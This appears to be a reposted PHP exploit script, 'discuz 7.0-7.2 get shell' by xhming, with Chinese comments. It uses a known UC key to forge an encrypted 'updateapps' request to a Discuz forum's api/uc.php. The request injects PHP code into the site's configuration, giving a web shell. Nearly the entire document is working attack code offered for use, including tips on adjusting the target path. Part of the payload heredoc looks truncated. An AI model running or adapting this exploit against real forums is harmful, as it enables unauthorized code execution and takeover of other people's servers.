dz~~~~马后炮 -电脑资料

    by:xhm1n9

    #!/usr/bin/php

    print_r('

    +-------------------------------------------------------------------------------------------+

    2010.2.6

    discuz 7.0-7.2 get shell

    exploit by xhming

    site:http://hi.baidu.com/mr_xhming

    +-------------------------------------------------------------------------------------------+

    ');

    if ($argc < 3) {

    print_r('

    +-------------------------------------------------------------------------------------------+

    error:php xxxx.com uc_ke

    +-------------------------------------------------------------------------------------------+

    ');

    exit;

    }

    error_reporting(7);

    ini_set('max_execution_time', 0);

    $host = $argv[1];

    $uc_key = $argv[2];

    $k=time();

    $get=array('time'=>$k,'action'=>'updateapps');

    $code=encode_arr($get,$uc_key);

    $cmd = <<

    ');phpinfo();//                         //插入的内容

    ffaaa

    xhming;

    send($cmd);

    function send($cmd)

    {

    global $host, $code;

    $message = "POST "."/dz7.2/api/uc.php?code=$code HTTP/1.1\r\n";      //路径看着改

    $message .= "Content-Type: text/xml\r\n";

    $message .= "User-Agent: Apache XML RPC 3.0 (Jakarta Commons httpclient Transport)\r\n";

    $message .= "Host: $host\r\n";

    $message .= "Content-Length: ".strlen($cmd)."\r\n\r\n";

    $message .= $cmd;

    $fp = fsockopen($host, 80);

    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))

    $resp .= fread($fp, 1024);

    return $resp;

    }

    function encode_arr($get,$uc_key) {

    $tmp = '';

    foreach($get as $key => $val) {

    $tmp .= '&'.$key.'='.$val;

    }

    return _authcode($tmp, 'ENCODE', $uc_key);

    }

    function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);

    $keya = md5(substr($key, 0, 16));

    $keyb = md5(substr($key, 16, 16));

    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);

    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

    $string_length = strlen($string);

    $result = '';

    $box = range(0, 255);

    $rndkey = array();

    for($i = 0; $i <= 255; $i++) {

    $rndkey[$i] = ord($cryptkey[$i % $key_length]);

    }

    for($j = $i = 0; $i < 256; $i++) {

    $j = ($j + $box[$i] + $rndkey[$i]) % 256;

    $tmp = $box[$i];

    $box[$i] = $box[$j];

    $box[$j] = $tmp;

    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {

    $a = ($a + 1) % 256;

    $j = ($j + $box[$a]) % 256;

    $tmp = $box[$a];

    $box[$a] = $box[$j];

    $box[$j] = $tmp;

    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

    }

    if($operation == 'DECODE') {

    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

    return substr($result, 26);

    } else {

    return '';

    }

    } else {

    return $keyc.str_replace('=', '', base64_encode($result));

    }

    }

    ?>